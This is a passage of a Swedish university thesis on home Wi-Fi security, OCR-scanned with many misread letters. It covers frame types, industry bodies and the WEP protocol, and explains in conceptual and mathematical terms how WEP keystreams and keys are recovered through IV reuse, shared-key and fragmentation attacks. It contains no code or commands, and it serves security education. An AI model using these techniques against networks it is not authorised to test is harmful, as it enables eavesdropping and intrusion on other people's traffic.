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Forord

Denna rapport behandlar ett kandidatarbete och genomfordes som ett samarbete mellan
studenter pd Chalmers Tekniska Hogskola, Datateknik 300 hp och Géteborgs
Universitet, Datavetenskapligt program 180 hp. Kandidatarbetet har utforts under en
termin och omfattar 15 hp. Projektet innehaller béde teoretiska och praktiska studier.

De tradldsa enheterna har blivit en populédr del i hemnétverket vilket har gjort att det
blivit allt viktigare med en hog sédkerhetsnivd i1 det trddlosa nidtverket. Detta
kandidatarbete syftar till att undersdka och analysera sékerheten i dessa hemnétverk.

Vi vill tacka vér nya vin och mentor A/i Sahleson fér mycket god végledning, stéttning
genom hela arbetet och den expertis han tillfort. Vi vill dven tacka facksprak for de
sprékliga verktyg vi fOrsetts med under arbetets gang. Ett stort tack skénks ocksé till
ovriga personer som bidragit pa ett eller annat sétt.



Sammanfattning

I denna rapport granskas de sidkerhetslosningar som anvdnds i1 dagens tradlosa
hemnitverk. Det Okande antalet trddlosa enheter har gjort behovet av pélitliga
sdkerhetslosningar allt viktigare. Rapporten syftar till att upplysa ldsaren om den
teknologi som ligger till grund for dessa sdkerhetslosningar samt informera om de
brister som finns. Dessutom rekommenderas ldasaren hur denne kan uppna en tillrickligt
hog niva av sdkerhet i hemnitverket.

Flera av dagens sédkerhetslosningar har rapporterade brister. De allvarligaste av dessa
undersoktes 1 ett testndtverk med hjilp av lattillgidngliga verktyg for att fa en
uppfattning om hur utsatt den gemene hemanvindaren é&r.

Testerna visade att flera attacker var effektiva och létta att genomfora. Vi har ocksa sett
att flera av ndtverken, i vart stickprov, dr mottagliga for dessa attacker. Ytterligare en
genomford undersokning visade att Internetleverantorers kundtjénst 1 flera fall inte hade
tillrdckligt med kunskap inom omradet for att ge gemene man information om palitliga
sdkerhetslosningar.



Abstract

The security solutions used in wireless home networks are examined in this report. The
growing number of wireless units have increased the need for reliable security solutions.
This report aims to enlighten the reader about the fundamental technology used in
wireless security solutions and inform about the existing flaws. A recommendation
about how to achieve a high level of security in the home network is also given to the
reader.

Several flaws in the security solutions in use have been reported. Of these the most
severe has been examined in a test network using highly accessible tools to get a
perception of how vulnerable the user is.

The tests showed that several attacks were efficient and easily carried out. We have also
seen that several of the home networks in our sample are susceptible to these attacks.
Our survey revealed that the Internet service provider's technical support in many cases
lacked the knowledge necessary to inform the user about reliable security solutions.
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Forkortningslista

AES — Advanced Encryption Standard
ARP — Address Resolution Protocol

CBC — Cipher-Block Chaining

CCMP - Counter Cipher Mode with Block Chaining Message Authentication Code
Protocol

EAP — Extensible Authentication Protocol
HMAC — Keyed-Hash Message Authentication Code
ICV — Integrity Check Value

IP — Internet Protocol

MAC — Media Access Control

MIC — Message Integrity Code

NFC — Near Field Communication

PIN — Personal Identification Number
PBC — Push Button Configuration

RC4 — Ron's Code 4

SNAP — Subnetwork Access Protocol
SSID — Service Set Identification

TKIP — Temporal Key Integrity Protocol
UPnP — Universal Plug and Play

WEP — Wired Equivalent Privacy

WPA — Wi-Fi Protected Access

WPA?2 — Wi-Fi Protected Access 2

WPS — Wi-Fi Protected Setup



Definitioner

Detta avsnitt innehaller definitioner av specifika termer. Dessa har gjorts baserat pa hur
termerna anvands i samhallet.

Accesspunkt — Enhet med stod for 802.11 i infrastrukturlige som gor det mojligt for
tradlosa enheter att kommunicera med Ovriga enheter i ndtverket. Det kan finnas en eller
flera accesspunkter i ett nétverk.

Gemene hemanvindare — Med gemene hemanvidndare menas en person med
tillrickliga kunskaper for att till exempel kunna ansluta nya enheter i det tradlosa
hemnitverket men kanske inte utfor sdkerhetskonfigurationer pé ett optimalt sétt.

Klient — En trddl6s enhet som &r ansluten, eller har mdjlighet att ansluta, till ett tradlost
nétverk.

Oktett — Dataenhet med éatta bitar som skickas seriellt vid kommunikation. Oktett
anvinds som en Gversittning av engelskans byte.

Tradlost nitverk — Nétverk som bestar av en eller flera accesspunkter som enheter kan
ansluta till.

Tradlos hemrouter — En enhet som anvédnds i hemmiljo med samma funktioner som
aterfinns 1 en router och en tradlds accesspunkt. Den trddlésa hemroutern kan dven
innehélla funktioner s& som brandvigg och NAT (Network Address Translation).
Routern later anvdndare komma 4t Internet fran tradlosa enheter.



1 Inledning

Den trddlosa routern har blivit en populédr del 1 hemnétverket pd grund av det vixande
antalet tradlosa enheter. Informationen skickas over radiokanaler vilket gor att trafiken
enkelt kan avlyssnas. Detta har Oppnat upp for nya angrepp pd nitverken eftersom
fysisk tillgang till ndtverksutrustningen inte ldngre krévs. Antalet potentiella angripare
har 6kat med denna utveckling eftersom vanligt forekommande utrustning kan anvéndas
vid angrepp. | dagsldget forsoker man forhindra attacker med hjélp av olika
sdkerhetslosningar, till exempel anvinds olika typer av kryptering for att se till att den
data som skickas enbart ska kunna ldsas av ritt enhet.

1.1 Bakgrund

Ar 2010 séindes ett avsnitt av Uppdrag granskning [1], som visar hur det pa bara ett par
minuter gir att penetrera losenordsskyddade tradlosa hemndtverk. En av personerna i
programmet visar hur denne kan avlyssna den kommunikation som sker mellan klient
och tradlos hemrouter med hjdlp av en bédrbar dator. Direfter hdvdas att dven 16senord
och bankuppgifter skulle kunna bli stulna om de anvidndes pa Internet medan
avlyssningen pagar.

Mycket kénsliga uppgifter skickas idag genom nétverk och skulle en utomstdende
person ha mojlighet att avlyssna eller stora ut nitverket kan det skapa stora problem for
anvindaren. Stors kommunikationen kan tjénster som i normala fall gér pa ett 6gonblick
ta betydligt langre tid, eller 1 vissa fall helt sluta fungera. Ett &nnu storre problem skulle
vara om en angripare har mojlighet att avlyssna kommunikationen pd nétverket.
Angriparen skulle da ha en bittre utgangspunkt for att till exempel kartligga anvdndaren
eller forsoka komma at dennes finansiella tillgangar.

Det dr en fara for den personliga integriteten om en angripare kan fa tag pd information
som visar vad en hemanvindare gjort niar denne har varit ansluten till Internet.

1.2 Syfte
Undersokningens huvudsyfte dr att ta reda pa hur sékra de tradlosa hemnédtverken ar i
dagsliget.

Vi vill granska om det dr mojligt att olovligt ta sig in i trddlosa hemnétverk med
lattillgédnglig utrustning. Denna utrustning kan till exempel vara en béarbar dator med
gratis mjukvara dmnad for &ndamaélet. I denna analys kommer det att undersdkas hur vél
de olika sidkerhetsatgdrderna som implementerats skyddar det trddlosa nétverket.
Undersokningen kommer sédledes att klargora vilka eventuella svagheter som finns i
dagens system for att dérefter presentera forslag pa losningar som skulle kunna éatgéarda
eller aktivt forebygga bristerna.



I undersdkningen kommer det ocksd att analyseras hur vél skyddad individen, den
gemene anvandaren, faktiskt dr. Detta genom att bland annat underséka hur sékra de
rekommendationer som foreskrivs av Internetleverantorer &r.

Rapporten ska dven ge en djupare forstaelse for den teknologi som ligger till grund for
dagens sdkerhetslosningar. Detta for att kunna argumentera for vad som gor systemen
tillforlitliga respektive tvivelaktiga ur sdkerhetssynpunkt.

1.3 Avgrinsningar

Tradlos kommunikation i ndtverk &r ett brett omrade. Projektet begrénsas dérfor kraftigt
for att det ska bli realistiskt att utféra inom de tidsramar som angivits. Teknologi som
till exempel Enterprise vilka riktar sig mot organisationer kommer inte att behandlas.
Detta eftersom den gemene hemanvindarens sédkerhet ligger 1 fokus. Avgransningarna ér
uppdelade i tva avsnitt; hardvara och mjukvara.

* Natverksutrustningen ska vara representativ for motsvarande utrustning som
gemene man anvinder sig av. Darfor anviands tradlosa routrar med stod for
802.11 dmnade for hemnéatverk. Under unders6kningen antas ocksé att hardvaran
fungerar som specificerat for att undvika att arbetet riktas mot testning och
jamforelse av hardvara och tillverkare.

* Redan befintlig mjukvara anvinds d& behovet av att utveckla egen inte anses
existera. Detta eftersom de kostnadsfria programvaror som finns littillgingliga
pa Internet 4r de som en majoritet av angripare troligtvis skulle anvidnda sig av.

1.4 Precisering av fragestillningen
Ar det siikert att anviinda tradldsa hemnitverk? Det ir huvudfrigan vi vill besvara med
var undersokning.

SVT sénde for en tid sedan ett uppmirksammat samhillsmagasin [1]. I detta program
hivdades att anvéndare av tradlosa hemnétverk inte alls dr sidkra och att attacker utférda
for att ta sig in i dessa nétverk latt kan genomforas. Stimmer detta? Eller dr gemene
man vil skyddad om denne f6ljer de rekommendationer som foreskrivs av olika aktorer
inom branschen? Det dr viktigt att besvara dessa fragor da tradlosa nitverk anvinds i
stor utstriackning.

Finns det brister 1 den teknologi som ligger till grund for den sdkerhet som é&terfinns i
dagens tradlosa nitverk? Hirstammar eventuella brister ifrdn framtagandet av de
standarder eller dr det tillverkare och utvecklare som slarvar med implementeringen av
dessa? Detta &r fragor som ska undersokas for att fa en klar bild 6ver var eventuella
brister finns och hur dessa skulle kunna atgérdas.

Hur sékra dr dagens grundldggande skydd och i vilken utstrackning anvénds de? Hur vl
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skyddar sédkerhetslosningar, som definierats av IEEE och Wi-Fi Alliance, som WEP
(Wired Equivalent Privacy), WPA (Wi-Fi Protected Access), WPA2 (Wi-Fi Protected
Access 2) och WPS (Wi-Fi Protected Setup)? Detta kommer att undersokas genom att ta
reda pd om det dr mojligt att ta sig in pd ett tradlost hemnétverk och hur resurskrdavande
detta 4r. Aven mdjligheterna att stora ut pagdende kommunikation kommer att
undersokas.

En undersokning kommer utforas for att granska om olika Internetleverantdrer
rekommenderar skilda sédkerhetsinstéllningar. Dessutom dmnar vi att ta fram en
rekommendation som kan hjdlpa den gemene anvéndaren att gora sékerhetsinstéllningar
pa sitt hemnatverk.



2 Teknisk referensram

I detta kapitel presenteras den teknologi som ligger till grund for sdkerheten i de
tradlosa hemnédtverken. D& undersokta sdkerhetslosningar skiljer sig 4t kommer dessa
att introduceras stegvis.

Sakerhetsprotokollet WEP (Wired Equivalent Privacy) utvecklades i samband med
specifikation 802.11 [2]. Som namnet foreslar dr Wired Equivalent Privacy dmnat att ge
likvirdig sdkerhet som aterfinns i tradbunden kommunikation. Bara tva ar efter att WEP
introducerades hittades en brist i protokollet [3]. Dérefter drdjde det inte lange innan ett
verktyg utvecklades for att utnyttja denna svaghet. Verktyget gjorde det mojligt att fa
fram det 16senord som anvindes. Losenordet kunde sedan utnyttjas for att dekryptera
trafiken.

Da WEP introducerades hade USA restriktioner pd de kryptografiska system som
exporterades [2, pp. 77]. En av dessa restriktioner begrinsade nyckellingden som fick
anvindas i WEP. Detta forsvagar protokollet da det har stod for langre nycklar. Léngre
nycklar kan i sin tur leda till en 6kad sékerhetsnivd. Dessa restriktioner upphédvdes i
januari ar 2000 [4], vilket gjorde att WEP kunde borja anvindas med dubbelt si langa
nycklar.

WEP var det enda sidkerhetsprotokoll som fanns definierat i 802.11 nér standarden
introducerades. Det dr idag mojligt for en angripare att pa bara nagra minuter berdkna
16senordet. Dé flertalet brister uppticktes 1 WEP-protokollet pabdrjades arbetet med att
utveckla ett nytt protokoll dar dessa atgéirdas. Arbetet kulminerade i att WPA (Wi-Fi
Protected Access) introducerades ar 2003 [5].

Syftet med WPA var att dtgérda bristerna 1 WEP samtidigt som stod for all befintlig
hardvara skulle finnas. Detta krav begriansade utvecklarnas frihet, men var nédvandigt
for att snabbt ersidtta WEP. Medan WPA var tinkt som en kortsiktig 16sning utvecklades
samtidigt WPA2, vilket var tankt att vara en langsiktig sdkerhetslosning och utvecklades
dérfor frén grunden.

Nér ett tradlost ndtverk anvinds i hemmiljo &r det viktigt med ritt sdkerhetsniva.
Dessutom maéste anvindarna kunna utfora enklare dndringar som att lagga till fler
enheter 1 nidtverket. WPS, vilket uttyds Wi-Fi Protected Setup, ér tinkt att ge anvindaren
mojlighet att installera ett tradlost hemnatverk med hogsta tillgdngliga sdkerhet med en
enkel, nédstan automatisk process [6]. Detta innebdr bland annat att ndtverksnamn och
starkt WPA2 16senord genereras. Produkter med WPS som certifierats av Wi-Fi Alliance
har funnits p4 marknaden sedan 2007 [7]. Det 0kande antalet trddlosa enheter pa
marknaden gor behovet av en 10sning av denna typ storre dn nagonsin [6].



Att data kan Overforas krypterat mellan trddlosa enheter betyder inte att
kommunikationen dr fri fran brister. Storning av kommunikationen i ndtverket kan
orsaka problem. I de tidigare beskrivna protokollen krypteras endast datapaketen och
inte de ramar paketen skickas i. Detta kan utnyttjas av en angripare for att stora enheter
pa nétverket.

2.1 Ramar for Media Access Control

Innan man kan skicka data trddlost inkapslas innehéllet. Informationen 1 inkapslingen
kan bland annat visa vilken typ av meddelande den har, kod for att uppticka bitfel samt
adressering.

For att skicka data och koordinera ett tradlost ndtverk anvinds MAC-ramar. Ramarna
kan delas upp i tre olika grupper: administration (eng. management), data och kontroll
[8, pp. 404-437]. MAC-ramen, vilken illustreras 1 Figur 1, bestar bland annat av
adressinformation for avsdndaren och mottagaren, felrdttande kod, fragmentnummer
och information om vilken ramtyp som anvénds.

0-2132
16 bitar 16 bitar 48 bitar 48 bitar 48 bitar 16 bitar 48 bitar oktetter 32 bitar
MAC- [Varaktighet/ Selovens- ) Ram-
ramkontroll D Adress 1 Adress 2 Adress 3 kontroll Adress 4 innehall FCS

Fragment-| Sekvens-
nummer | nummer

4 bitar 12 bitar

Figur 1. MAC-ram.

Administrationsramen dr en MAC-ram som anvénds for att 1ata klienter ansluta till ett
nétverk, rora sig mellan olika accesspunkter och hitta nya nétverk. Det finns ett antal
olika typer av administrationsramar. Nagra av dem viktigaste typerna ar beacon, probe,
associering, avassociering, autentisering och avautentisering.

I ett trddlost nédtverk sinds normalt beacon-ramar ut periodiskt fran
accesspunkter. I meddelandet inkluderas bland annat SSID (Service Set
Identifier), vilket kortfattat kan beskrivas som nitverkets namn. Beacon-ramarna
har tva huvudsakliga syften varav det ena ar att lata en klient hitta nya nétverk
och det andra ir att 14ta redan anslutna klienter vélja accesspunkten med bést
signal pa samma néatverk.

» Istdllet for att vénta pa en beacon-ram kan klienten skicka ut en probe-forfragan
till accesspunkten. Nér accesspunkten far en forfrigan svarar den med ett probe-
svar som innehéller information om nitverket. Med erhallna svar kan klienten
sedan vilja en ldmplig accesspunkt baserat pa information sa som signalstyrka.



Eftersom forfragan riktas mot ett specificerat nitverk anviands det ofta for att se
om ett tidigare anvint nédtverk finns inom réckhall.

 For att en klient ska kunna anvidnda ett tradlost ndtverk maéste forst en
associeringsram skickas. Accepterar accesspunkten ramen associeras klienten
till ndtverket. Vilken accesspunkt klienten véljer i1 ett ndtverk kan bero pa till
exempel signalstyrka. Néar data sedan skickas till klienten anvidnds den
accesspunkt som klienten &r associerad till.

En klient kan endast vara associerad med en accesspunkt at gingen och maste
darfor genomfora en aterassociering for att kunna vilja en ny accesspunkt pa
nétverket. Detta bryter kopplingen till den foregdende accesspunkten och skapar
en association till den nya.

* En avassocieringsram kan skickas av antingen accesspunkten eller den anslutna
klienten. Meddelandet berittar for mottagaren att associeringen brutits.
Efterfoljande meddelanden till denna enhet kommer att ignoreras.

* For att kunna kommunicera pé ett krypterat nitverk, kridvs att en autentisering
gors. Ett antal olika metoder anvédnds for autentisering beroende pé vilken typ av
system som Onskas.

* En avautentiseringsram skickas ut ndr en autentiserad anslutning avslutas.
Avautentiseringsramen dr inte en forfrigan utan ett meddelande dir nigon av
enheterna tillkdnnager att denna avbrutit den autentiserade anslutningen.

2.2 Branschorganisationer

I detta avsnitt beskrivs ett par av de organisationer som har stort inflytande vid
utvecklingen av teknologin som ligger till grund for de tradlosa ndtverken. Dessa dr
IEEE (Institute of Electrical and Electronics Engineers) och Wi-Fi Alliance.

2.2.1 Institute of Electrical and Electronics Engineers

IEEE och dess 415 000 medlemmar [9] har producerat flera publikationer och tekniska
standarder som ligger till grund for mycket av den teknologi som anvinds inom tradlos
kommunikation. I en &rsrapport [9] frdn 2011 beskrivs IEEE som vérldens storsta
branschorganisation dedikerade at avancerade tekniska innovationer som kan vara till
nytta for ménskligheten.

2.2.2 Wi-Fi Alliance

Wi-Fi Alliance ar en global ideell branschorganisation vars méal &r att driva utvecklingen
av tradlosa nitverk framat [10]. Wi-Fi CERTIFIED™-programmet lanserades i mars ar
2000. Programmet certifierar trddlos nédtverksutrustning. En produkt certifierad av Wi-
Fi Alliance far anvinda sig av logotypen som aterfinns i Figur 2 for att den latt ska
kénnas igen. Wi-Fi Alliance har certifierat mer &n 15 000 produkter och har ca 500
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medlemsforetag [10].

Fi )

CERTIFIED

Figur 2. Wi-Fi CERTIFIED™-[ogotypen.

2.3 Siikerhetsprotokollet Wired Equivalent Privacy

Wired Equivalent Privacy [2, Ch. 8], mer kdnt som WEP, &r ett protokoll som togs fram
for att ge konfidentialitet 4t den annars helt 6ppna kommunikationen i trddlosa nétverk.
Under aren har flertalet allvarliga brister upptickts i WEP.

2.3.1 Specifikation

Sdkerhetsprotokollet WEP togs fram i samband med specifikationen for 802.11 [2].
WEP ar amnat att ge konfidentialitet med hjélp av kryptering som anvédnder en hemlig
nyckel, vilken delas av klient och hemrouter.

For att ansluta till ett trddlost ndtverk som har WEP aktiverat krdvs forst att en
autentisering sker. Autentisering i WEP kan vara av typen Open System alternativt
Shared Key. Valet av autentiseringstyp sker vid konfiguration av den traddlosa
hemroutern. Open System innebér att klienten endast skickar en autentiseringsforfragan
till accesspunkten. Om accesspunkten accepterar klientens forfragan blir enheten
autentiserad utan att nagot l6senord angetts. Enheter kommer inte kunna kommunicera
om de inte delar samma nyckel.

Med Shared Key som autentiseringsmetod skickar klienten forfrdgan om autentisering
varvid accesspunkten svarar med en slumpad utmaning som klienten ska kryptera med
den delade nyckeln. Efter att ha krypterat denna utmaning skickar klienten tillbaka den
till accesspunkten som kommer att dekryptera och jamfora den med den ursprungliga
utmaningen. Ar dessa identiska kommer accesspunkten att autentisera klienten.

WEP finns 1 tvad standardvariationer ddr den enda skillnaden dr nyckelldngden. I den
forsta versionen som publicerades anvénds en 64 bitar lang nyckel, medan den andra
anvinder en 128 bitar ldng nyckel. De forsta 24 bitarna av denna nyckel é&r
initialiseringsvektorn. En initieringsvektor anvédnds for att krypterade segment inte ska
bli identiska nir samma nyckel anvéinds. Initialiseringsvektor gor att den delade nyckeln
blir 40 bitar respektive 104 bitar lang.

For att ge konfidentialitet i WEP anvidnds RC4 (Ron's Code 4). RC4 ir ett stromchiffer
vilket betyder att det genererar en pseudoslumpmassig bitstrom. Sdkerheten som ges vid
anviandningen av RC4 anses fortfarande vara stark om den implementeras pa ett korrekt



sitt [11, pp. 46, 89].

RC4 anvinds for att generera pseudoslumpmaissiga bitstrommar som anvinds vid
kryptering. For dandamalet adderas dem bindrt enligt XOR. For att kryptera med dessa
bitstrommar anvidnds den logiska operatorn XOR (exklusiv disjunktion). 1 Figur 3
beskrivs hur XOR-operationen fungerar. Om samma nyckel anvdnds som indata till
RC4 fas alltid samma bitstrom. For mer information om hur RC4 genererar
bitstrémmar, se Appendix A.

A
0
0
1
1

=R E=--]

S |= = || e

Figur 3. Sanningstabell for XOR. XOR-operatorn representeras av .
For att kryptera indata utférs XOR péd denna med en nyckelstrom pa foljande sitt:
Indata ® RC4( Nyckel)=Chiffertext

For att dekryptera chiffertexten utfors XOR pa denna med samma nyckelstrom pa
foljande sétt:

Chiffertext ® RC4(Nyckel )=Indata

0-2132
24 bitar 6 bitar 2 bitar oktetter 32 bitar
SRS | e || S Data ICV
veltor

Figur 4. WEP-ram.

Figur 4 visar WEP-ramens olika félt. NyckellD pekar ut det 16senord som anvénds och
tillsammans med initialiseringsvektorn ger detta krypteringsnyckeln for paketet. ICV
uttyds Integrity Control Value, det vill séga integritetskontrollvirde. Skulle datafiltet ha
blivit modifierat ska ICV visa detta. ICV ska vara en CRC-32-kontrollsumma for
datafdltet. Ett polynom anvinds for att utfora en restdivision pé datafiltet, vilket
resulterar i denna kontrollsumma [12].

Efter att kontrollsumman har berdknats krypteras bade datafiltet och kontrollsumman
med hjilp av RC4. For att inte samma nyckel ska anvindas flera ginger genereras en
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initialiseringsvektor som sammanfogas med nyckeln. For att mottagaren av paketet ska
kunna dekryptera det méste mottagaren veta vilken initialiseringsvektor som anvéndes.
Denna vektor bifogas darfor som klartext 1 paketet.

WEP stodjer upp till fyra olika nycklar, vilket later maximalt fyra personer ansluta till
samma accesspunkt utan att behdva dela losenord. Detta leder i sin tur till att en
anvéandare inte kan dekryptera de andra anvéndarnas trafik.

2.3.2 Attacker och brister

Under aren har ett flertal brister hittats i WEP-protokollet vilket visas i Figur 5. En av
de stora bristerna 1 WEP-protokollet [2, Ch.8] ar att det inte skyddar mot
aterspelningsattacker. En dterspelningsattack (eng. Replay attack) dr nir en angripare
har avlyssnat en del av en konversation for att sedan skicka tillbaka den data som
avlyssnades. Detta ger angripare mdjlighet att skicka samma paket ett obegriansat antal
ganger utan att det anses vara ett felaktigt paket.

1999 WEP introduceras
2001 Brister 1 CRC och IV publiceras
2001 Brister 1 RC4 publiceras

/ 2002 Program som utnyttjar en RC4-brist skapas

e

\2005 Svagheter funna med fragmentering
2004 Ytterligare tretton brister funna i RC4

Figur 5. Tidslinje over WEP och nagra av dess brister.
En utav de stora bristerna i WEP-protokollet uppstir ndr samma initialiseringsvektor
anvinds till olika paket. Anvidnds samma initialiseringsvektor och nyckel kommer
paketen krypteras med samma pseudoslumpmaéssiga bitstrom. Detta kan reducera delar
av krypteringen genom att anvédnda fo6ljande XOR-operation:

Paket,=RC4(Nyckel ) ® Indata,

Paket, ® Paket,=

(RC4(Nyckel) ® Indata, ) ® (RC4(Nyckel ) ® Indata,)=

RC4(Nyckel) ® RC4(Nyckel ) ® Indata, ® Indata,=>

Indata, ® Indata,



P& grund av denna relation kan det ena paketets indata berdknas om det andra paketets
indata dr kind. Till exempel kan Indata, beréknas med:

Indata, ® Indata, ® Indata,= Indata,

Ytterligare en utav de stora bristerna i WEP-protokollet dr att initialiseringsvektorn som
anvinds for att ge unika nyckelstrommar endast dr 24 bitar lang. D4 den &r 24 bitar ldng
finns det endast 16 777 216 stycken unika initialiseringsvektorer. Med en lag hastighet
av 11 Mbps och paket med en genomsnittlig storlek pa 1 500 oktetter, vilket ofta dr den
maximala ldngden ett meddelande kan ha, tar det cirka fem timmar att anvédnda alla
unika initialiseringsvektorer. Det finns inget krav 1 specifikationen av WEP [2, Ch. 8] pa
att initialiseringsvektorerna ska anvéndas i1 ndgon speciell ordning. Detta leder till att
enheter kan anvidnda en uppriknare, med ett fixt startviarde, for att generera vérdet pa
initialiseringsvektorerna. Om enheten startas om kommer vektorerna att anvéndas i
samma ordning, det vill séga att vektorerna kolliderar. Skulle en angripare ha mojlighet
att starta om en given accesspunkt kan denne avlyssna paket med initialiseringsvektorer
som anvénts tidigare. XOR-operationerna, som ndmnts ovan, kan da anvindas for att
reducera krypteringen.

Skulle slumpméssiga initialiseringsvektorer anvindas &r systemet fortfarande inte
skyddat mot kollisioner. Sannolikheten for att en kollision uppstar i slumpmaissiga
system é&r stor, vilket kan visas med Fodelsedagsparadoxen (eng. Birthday paradox)
[13].

2.3.2.1 Attack for att generera nya nyckelstrémmar

En av de enklare attackerna utnyttjar att WEP anvénder en nyckelstrom vid kryptering.
Om angriparen skulle fa reda pa ndgon nyckelstrom kan denna anvéndas for att kryptera
egenkonstruerad data. For att utfora denna attack maste angriparen kénna till ndgra av
dataféltets inledande oktetter innan det blev krypterat. En del av nyckelstrommen kan da
berdknas med hjilp av foljande relation:

Indata ® RC4( Nyckel)= Chiffertext < Chiffertext ® Indata = RC4(Nyckel )

Angriparen fir endast ut en begrdnsad langd av nyckelstrommen. Langden motsvarar de
tidigare kdnda oktetterna. D4 det inte finns nadgot skydd mot att initialiseringsvektorer
ateranvinds kan angriparen nu injicera valfri data med maximalt samma ldngd. Fler
nyckelstrommar kan erhéllas med hjilp av nétverkets tradlosa router, eftersom routern
kan vidarebefordra meddelandet med en ny kryptering. Skapar angriparen ett paket
adresserat till en annan enhet 1 nitverket och skickar detta till den tradlésa hemroutern
kommer denna att kryptera paketet pd nytt innan det skickas ut pd nitverket igen. Detta
ger angriparen ytterligare en nyckelstrom enligt samma princip som ovan.

2.3.2.2 Shared key-attack
Genom att anvdnda autentiseringsmetoden Shared Key, beskrivet 1 avsnitt 2.3.1, ska en
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enhet kryptera en utmaning som den tradlosa hemroutern skapat och darefter skicka
tillbaka denna. Avlyssnas konversationen kan angriparen fa ut den nyckelstrom som
anvdndes genom att anvinda en XOR-operation pd utmaningen med enhetens svar.

Utmaning ® Svar = Nyckelstrém

Utmaningen é&r alltid 128 oktetter lang vilket ger att en lika ldng nyckelstrom erhalls.
Nyckelstrommen kan sedan anvédndas pa samma sétt som beskrivet ovan.

2.3.2.3 Fragmenteringsattack

Specifikationen 802.11 stddjer fragmentering med upp till sexton fragment. Detta gor att
den begrinsning som nédmnts i de tva foregdende avsnitten dverkoms. Den metod som
beskrivs 1 [14] gar ut pa att skicka egenvald data till accesspunkten i1 sexton fragment.
Accesspunkten rekonstruerar sedan dessa fragment innan denna data slutligen skickas
vidare 1 ett paket. De paket som angriparen skickar till accesspunkten &r krypterade med
samma nyckelstrom. Denne kan sedan avlyssna det paket som accesspunkten skickar for
att da f4 en matchning mellan den egenvalda texten och en chiffertext. Detta kan ge en
nyckelstrom pa upp till sexton ganger lingden av den ursprungliga nyckelstrommen.
Detta kan sedan aterupprepas till dess att angriparen har 2 304 oktetter utav en
nyckelstrom, vilket dr den maximala ldngden av ett datafilt 1 ett WEP-paket.

Svérigheterna med attackerna som ndmnts ovan dr att angriparen maste veta vad ett
datapaket inleds med. I [14] framkommer att det finns paket som bdde &r litta att
identifiera samt ofta borjar pad samma sitt. Figur 6 illustrerar ARP (Address Resolution
Protocol) som ér ett av de paket som vanligen forekommer 1 [Pv4-nétverk. Dessa paket
anvinds for att ge enheter 1 ndtverket koppling mellan IP- och MAC-adresser. Har en
enhet inte den MAC-adress som tillhor mottagarens IP-adress i sin tabell maste den
forst skicka ut ett ARP-paket for att hdmta adressen. Kopplingen sparas i en ARP-tabell
som ofta dr dynamisk. Detta innebér att adresser som inte forekommer 1 datatrafik under
en forutbestdmd tid plockas bort fran tabellen.

Hardvarutyp (16 bitar)

Protokolltyp (16 bitar)

Hardvaruadressens langd | Protokolladressens langd

Operator (16 bitar)

Avsandarens hardvarnadress

Avsiandarens [P-adress

Mottagarens hardvaruadress

Mottagarens [P-adress

Figur 6. ARP-paket.
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De fyra forsta falten dr oftast likadana i ett IPv4-nétverk. Detta kan ge angriparen sex
oktetter klartext. Med hjdlp av fragmenteringsattacken kan sedan nyckelstrommen
utokas.

2.3.2.4 Statistiska attacker

Med de attacker som hittills beskrivits kan nyckelstrommar tas fram. Dessa kan sedan
anvandas for att dekryptera och injicera paket pd nétverket. Attackerna ger dock inte
l16senordet som anvéndes for att skapa nyckelstrommarna.

Ar 2001 publicerades en rapport som presenterade en ny attack mot WEP [3]. Rapporten
beskriver hur det d&r mojligt att fi fram det 16senord som anvinds med hjdlp av svaga
initialiseringsvektorer. For att en initialiseringsvektor ska klassas som svag enligt denna
rapport maste tvd egenskaper uppfyllas. Forsta oktetten maste ha ett viarde fran 0x03 till
0x0D och den andra oktetten ha virdet OxFF. Om dessa egenskaper dr uppfyllda for
tillrackligt manga paket kan nyckeln rdknas med hjélp av en ekvation. Denna aterfinns i
Appendix B.

Ett skydd mot attacken som nidmnts ovan &r att aldrig tillta initialiseringsvektorns
andra oktett anta viardet OxFF, dock hjilper inte skyddet mot andra attacker av samma
typ da det finns fler s& kallade svaga initialiseringsvektorer. En person under
pseudonymen KoreK identifierade ett flertal svaga initialiseringsvektorer vilka finns
publicerade pé ett forum [15] och finns utforligare beskrivet i en rapport [16].

2.4 Siakerhetsprotokollet Wi-Fi Protected Access

Eftersom WEP (Wired Equivalent Privacy) visades innehalla ménga sérbarheter fanns
ett behov att skapa ett nytt sdkerhetsprotokoll dédr dessa dtgidrdats. En ny samling
standarder borjade att utvecklas vilken definierar tvd stycken sdkerhetsprotokoll vid
namn WPA (Wi-Fi Protected Access) och WPA2 (Wi-Fi Protected Access 2).

WPA anvinder sig av krypteringsprotokollet TKIP (7emporal Key Integrity Protocol)
och skapades specifikt for att ersdtta WEP utan att behdva byta ut befintlig hardvara [5,
pp. 43]. Sékerhetsprotokollet WPA2 anvénder krypteringsprotokollet CCMP (Counter
Cipher Mode with Block Chaining Message Authentication Code Protocol) och
skapades for att tillhandahalla hog sdkerhet for tradlos kommunikation under en lang tid
framover.

Bade WPA och WPA2 forekommer i tva varianter. Den ena bendmns PSK (Pre-Shared
Key), eller Personal, vilken dr dmnad for hemnétverk. Den andra varianten, som
bendmns Enterprise, riktar sig mot organisationer och foretag. Den stora skillnaden
mellan dessa dr att alla klienter i ett PSK-nétverk anvinder samma nyckel [5, pp. 4]
medan varje klient 1 ett Enterprise-ndtverk har en egen nyckel. Hemanvidndaren
anvéinder vanligtvis PSK.
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2.4.1 Specifikation

En av de storre forbittringarna som gjorts i sdkerhetsprotokollet WPA, jaimfort med dess
foregangare WEP, ar infoérandet av TKIP som tillhandahaller forbéttrad datakryptering.
Den primédra uppgiften for TKIP &r att skydda trafik i det tradlosa nétverket frén att
modifieras eller avlyssnas av nagon obehorig. TKIP baseras pa RC4 (Rons Code 4),
vilket ar det chiffer som WEP anvinder for kryptering. Dock innehaller TKIP en del
atgirder mot de kinda svagheter som finns 1 WEP. En atgird bestod av att
initialiseringsvektorernas lingd utdkades till 48 bitar. En annan atgdrd var att MIC
(Message Integrity Code) infordes for att ge ytterligare skydd mot att en angripare
modifierar ett meddelande. I Appendix C beskrivs genereringen av ett MIC-vérde
utforligare. Ytterligare en forbéttring som gjordes var att en funktion for att blanda
nycklar (eng. key mixing function) lades till, vilken ser till att varje paket krypteras med
en ny nyckel. Detta for att undvika attacker som baseras pé ateranvandning av delar av
nyckeln. En beskrivning av funktionen finns i Appendix D.

For att kunna anvinda WPA2, vilket dr det senare sékerhetsprotokollet, méste stod for
CCMP (Counter mode with CBC Message authentication Protocol) finnas 1 hardvaran.
CCMP anvinder blockchiffret AES (Advanced Encryption Standard) i rdkneldge (eng.
